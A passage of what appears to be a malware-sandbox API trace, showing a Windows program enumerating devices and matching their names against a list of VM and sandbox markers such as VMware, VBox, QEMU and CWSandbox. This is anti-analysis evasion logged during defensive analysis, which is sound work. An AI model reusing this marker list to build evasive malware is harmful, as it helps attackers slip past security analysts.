(HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa50 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="srootkit") returned 0x0 [0276.889] lstrlenA (lpString="srootkit") returned 8 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb58 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware VMaudio") returned 0x0 [0276.889] lstrlenA (lpString="VMware VMaudio") returned 14 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efaf8 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Vista") returned 0x0 [0276.889] lstrlenA (lpString="VMware Vista") returned 12 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxVideo") returned 0x0 [0276.889] lstrlenA (lpString="VBoxVideo") returned 9 [0276.890] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.890] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0276.890] StrStrIA (lpFirst="?? IO ??", lpSrch="VBoxGuest") returned 0x0 [0276.890] lstrlenA (lpString="VBoxGuest") returned 9 [0276.890] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0276.890] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.890] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0276.890] GetLastError () returned 0xd [0276.890] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x1, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0276.890] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0276.899] GetLastError () returned 0x7a [0276.899] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef700 [0276.899] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, RequiredSize=0x19fe7c) returned 1 [0276.904] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb58 [0276.904] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0276.904] lstrlenA (lpString="VMware Pointing") returned 15 [0276.904] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.904] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef720 [0276.904] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0276.904] lstrlenA (lpString="VMware Accelerated") returned 18 [0276.904] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef720 | out: hHeap=0x2670000) returned 1 [0276.904] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb40 [0276.904] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0276.905] lstrlenA (lpString="VMware SCSI") returned 11 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0276.905] lstrlenA (lpString="VMware SVGA") returned 11 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb70 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0276.905] lstrlenA (lpString="VMware Replay") returned 13 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef720 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0276.905] lstrlenA (lpString="VMware server memory") returned 20 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef720 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0276.905] lstrlenA (lpString="CWSandbox") returned 9 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa98 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0276.905] lstrlenA (lpString="Virtual HD") returned 10 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26effd0 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0276.905] lstrlenA (lpString="QEMU") returned 4 [0276.905] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0276.905] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0276.905] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0276.905] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.906] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa98 [0276.906] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0276.906] lstrlenA (lpString="srootkit") returned 8 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0276.906] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0276.906] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0276.906] lstrlenA (lpString="VMware VMaudio") returned 14 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0276.906] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb58 [0276.906] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0276.906] lstrlenA (lpString="VMware Vista") returned 12 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.906] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa80 [0276.906] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0276.906] lstrlenA (lpString="VBoxVideo") returned 9 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0276.906] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efab0 [0276.906] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0276.906] lstrlenA (lpString="VBoxGuest") returned 9 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0276.906] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.906] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0276.907] GetLastError () returned 0xd [0276.907] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x2, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0276.907] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0276.987] GetLastError () returned 0x7a [0276.987] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef700 [0276.987] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, RequiredSize=0x19fe7c) returned 1 [0277.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa20 [0277.075] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Pointing") returned 0x0 [0277.075] lstrlenA (lpString="VMware Pointing") returned 15 [0277.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef728 [0277.075] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Accelerated") returned 0x0 [0277.075] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.075] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0277.075] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26ef9f0 [0277.075] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SCSI") returned 0x0 [0277.075] lstrlenA (lpString="VMware SCSI") returned 11 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa08 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware SVGA") returned 0x0 [0277.076] lstrlenA (lpString="VMware SVGA") returned 11 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa08 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Replay") returned 0x0 [0277.076] lstrlenA (lpString="VMware Replay") returned 13 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef728 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware server memory") returned 0x0 [0277.076] lstrlenA (lpString="VMware server memory") returned 20 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="CWSandbox") returned 0x0 [0277.076] lstrlenA (lpString="CWSandbox") returned 9 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efac8 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="Virtual HD") returned 0x0 [0277.076] lstrlenA (lpString="Virtual HD") returned 10 [0277.076] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0277.076] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26effd0 [0277.076] StrStrIA (lpFirst="USB Root Hub", lpSrch="QEMU") returned 0x0 [0277.076] lstrlenA (lpString="QEMU") returned 4 [0277.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb88 [0277.077] StrStrIA (lpFirst="USB Root Hub", lpSrch="Red Hat VirtIO") returned 0x0 [0277.077] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.077] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0277.077] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efa08 [0277.077] StrStrIA (lpFirst="USB Root Hub", lpSrch="srootkit") returned 0x0 [0277.078] lstrlenA (lpString="srootkit") returned 8 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0277.078] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0277.078] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware VMaudio") returned 0x0 [0277.078] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.078] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb28 [0277.078] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Vista") returned 0x0 [0277.078] lstrlenA (lpString="VMware Vista") returned 12 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.078] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa20 [0277.078] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxVideo") returned 0x0 [0277.078] lstrlenA (lpString="VBoxVideo") returned 9 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.078] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa38 [0277.078] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxGuest") returned 0x0 [0277.078] lstrlenA (lpString="VBoxGuest") returned 9 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0277.078] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0277.078] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.079] GetLastError () returned 0x7a [0277.079] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efae0 [0277.079] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efae0, RequiredSize=0x19fe7c) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26effd0 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="vmxnet") returned 0x0 [0277.080] lstrlenA (lpString="vmxnet") returned 6 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26effd0 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="vmscsi") returned 0x0 [0277.080] lstrlenA (lpString="vmscsi") returned 6 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26effd0 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="VMAUDIO") returned 0x0 [0277.080] lstrlenA (lpString="VMAUDIO") returned 7 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26effd0 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="vmdebug") returned 0x0 [0277.080] lstrlenA (lpString="vmdebug") returned 7 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26effd0 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="vm3dmp") returned 0x0 [0277.080] lstrlenA (lpString="vm3dmp") returned 6 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.080] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb70 [0277.080] StrStrIA (lpFirst="usbhub", lpSrch="vmrawdsk") returned 0x0 [0277.080] lstrlenA (lpString="vmrawdsk") returned 8 [0277.080] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0277.081] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb70 [0277.081] StrStrIA (lpFirst="usbhub", lpSrch="vmx_svga") returned 0x0 [0277.081] lstrlenA (lpString="vmx_svga") returned 8 [0277.081] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0277.081] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26effd0 [0277.081] StrStrIA (lpFirst="usbhub", lpSrch="ansfltr") returned 0x0 [0277.081] lstrlenA (lpString="ansfltr") returned 7 [0277.081] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.081] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26effd0 [0277.081] StrStrIA (lpFirst="usbhub", lpSrch="sbtisht") returned 0x0 [0277.081] lstrlenA (lpString="sbtisht") returned 7 [0277.081] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.081] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.081] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x3, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0277.081] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.106] GetLastError () returned 0x7a [0277.106] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x1a) returned 0x26ef700 [0277.107] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, RequiredSize=0x19fe7c) returned 1 [0277.112] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb58 [0277.112] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Pointing") returned 0x0 [0277.112] lstrlenA (lpString="VMware Pointing") returned 15 [0277.112] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0277.112] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef728 [0277.112] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Accelerated") returned 0x0 [0277.112] lstrlenA (lpString="VMware Accelerated") returned 18 [0277.112] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0277.112] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa50 [0277.112] StrStrIA (lpFirst="????? ??????", lpSrch="VMware SCSI") returned 0x0 [0277.112] lstrlenA (lpString="VMware SCSI") returned 11 [0277.112] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efaf8 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="VMware SVGA") returned 0x0 [0277.113] lstrlenA (lpString="VMware SVGA") returned 11 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efbb8 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Replay") returned 0x0 [0277.113] lstrlenA (lpString="VMware Replay") returned 13 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef728 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="VMware server memory") returned 0x0 [0277.113] lstrlenA (lpString="VMware server memory") returned 20 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efae0 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="CWSandbox") returned 0x0 [0277.113] lstrlenA (lpString="CWSandbox") returned 9 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb88 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="Virtual HD") returned 0x0 [0277.113] lstrlenA (lpString="Virtual HD") returned 10 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26effd0 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="QEMU") returned 0x0 [0277.113] lstrlenA (lpString="QEMU") returned 4 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.113] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa20 [0277.113] StrStrIA (lpFirst="????? ??????", lpSrch="Red Hat VirtIO") returned 0x0 [0277.113] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0277.113] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0277.114] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb28 [0277.114] StrStrIA (lpFirst="????? ??????", lpSrch="srootkit") returned 0x0 [0277.114] lstrlenA (lpString="srootkit") returned 8 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0277.114] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0277.114] StrStrIA (lpFirst="????? ??????", lpSrch="VMware VMaudio") returned 0x0 [0277.114] lstrlenA (lpString="VMware VMaudio") returned 14 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0277.114] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efba0 [0277.114] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Vista") returned 0x0 [0277.114] lstrlenA (lpString="VMware Vista") returned 12 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.114] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efba0 [0277.114] StrStrIA (lpFirst="????? ??????", lpSrch="VBoxVideo") returned 0x0 [0277.114] lstrlenA (lpString="VBoxVideo") returned 9 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0277.114] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0277.114] StrStrIA (lpFirst="????? ??????", lpSrch="VBoxGuest") returned 0x0 [0277.114] lstrlenA (lpString="VBoxGuest") returned 9 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0277.114] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0277.114] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0277.115] GetLastError () returned 0x7a [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa38 [0277.115] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa38, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26efa38, RequiredSize=0x19fe7c) returned 1 [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26effd0 [0277.115] StrStrIA (lpFirst="volmgr", lpSrch="vmxnet") returned 0x0 [0277.115] lstrlenA (lpString="vmxnet") returned 6 [0277.115] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0277.115] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 